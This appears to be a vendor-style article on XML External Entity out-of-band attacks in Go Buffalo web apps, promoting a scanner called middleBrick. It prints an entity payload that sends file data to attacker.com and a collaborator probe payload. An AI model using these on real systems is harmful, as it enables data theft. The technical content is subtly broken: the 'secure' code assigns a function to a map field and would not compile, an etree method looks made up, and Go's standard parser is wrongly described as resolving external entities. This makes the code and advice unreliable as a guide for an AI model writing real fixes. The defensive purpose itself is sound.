Xxe Oob in Buffalo

XXE OOB (XML External Entity Out-of-Band) attacks exploit XML parsers that resolve external entities, allowing attackers to exfiltrate data via DNS or HTTP requests to an attacker-controlled server. In Go-based Buffalo applications, this commonly occurs when XML input is processed without disabling external entity resolution in libraries like encoding/xml or third-party parsers such as github.com/beevik/etree. A typical vulnerable pattern appears in API handlers that unmarshal XML from user-controlled sources, such as POST /import endpoints accepting XML payloads for data ingestion.

For example, a Buffalo handler might look like this:

func ImportData(c buffalo.Context) error {
    var data ImportRequest
    if err := c.Bind(&data); err != nil {
        return c.Error(400, err)
    }
    // Vulnerable: XML unmarshal without security hardening
    xmlData := []byte(data.XMLPayload)
    var result Response
    if err := xml.Unmarshal(xmlData, &result); err != nil {
        return c.Error(500, err)
    }
    return c.Render(200, r.JSON(result))
}

If data.XMLPayload contains an external entity like <!ENTITY % xxe SYSTEM "http://attacker.com/exfiltrate?data=%file;">, and the parser resolves it, the application may trigger an outbound HTTP request to the attacker’s server, leaking sensitive data such as environment variables or configuration files. This is especially dangerous in Buffalo apps that process XML from untrusted sources (e.g., file uploads, webhooks, or third-party integrations) without input validation or parser hardening.

Detecting XXE OOB in Buffalo applications requires scanning for XML parsing endpoints and testing whether external entity resolution leads to outbound interactions. middleBrick identifies this vulnerability through its black-box scanning engine by submitting XML payloads with OOB triggers (e.g., DNS or HTTP-based exfiltration attempts) and monitoring for outbound connections during the 5–15 second scan window. It tests all 12 security checks in parallel, including Input Validation and Data Exposure categories, which cover XXE vectors.

For instance, when scanning a Buffalo endpoint like POST /process-xml, middleBrick sends payloads such as:

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY % xxe SYSTEM "http://[unique-id].burpcollaborator.net">
  %xxe;
]>
<root>test</root>

If the application’s XML parser resolves the entity and triggers a DNS or HTTP lookup to the unique collaborator domain, middleBrick flags this as a confirmed XXE OOB vulnerability with high severity. The scanner correlates this with runtime behavior—no source code access is needed—and reports it in the Input Validation category with remediation guidance. This detection works regardless of whether the Buffalo app uses encoding/xml, etree, or other XML processors, as long as the endpoint is reachable and returns a response during the scan window.

Fixing XXE OOB in Buffalo applications involves disabling external entity resolution in XML parsers and validating/sanitizing XML input. Since Buffalo is built on Go, the primary defense is configuring the xml.Decoder to disallow external entities. The vulnerable handler from earlier can be secured as follows:

func ImportData(c buffalo.Context) error {
    var data ImportRequest
    if err := c.Bind(&data); err != nil {
        return c.Error(400, err)
    }
    // Secure: Disable external entities
    xmlData := []byte(data.XMLPayload)
    dec := xml.NewDecoder(bytes.NewReader(xmlData))
    dec.Entity = func(string) string { return "" } // Blocks external entities
    var result Response
    if err := dec.Decode(&result); err != nil {
        return c.Error(400, fmt.Errorf("invalid XML: %w", err))
    }
    return c.Render(200, r.JSON(result))
}

Alternatively, for third-party libraries like etree, disable external entity processing explicitly:

doc := etree.NewDocument()
doc.DisableEntityExpansion(true) // Critical: prevents OOB triggers
if err := doc.ReadFromBytes(xmlData); err != nil {
    return c.Error(400, err)
}

Additionally, implement strict input validation: restrict XML size, validate against a known-safe schema (if applicable), and avoid processing XML from untrusted sources when possible. Use Buffalo’s middleware to enforce content-type checks (application/xml or text/xml) and reject malformed payloads early. These fixes align with OWASP API Security Top 10’s 2023 A05:2023 – Broken Function Level Authorization, though XXE falls under broader input validation controls. middleBrick’s scan will no longer trigger OOB interactions after these changes, and the Input Validation category score will improve in subsequent scans.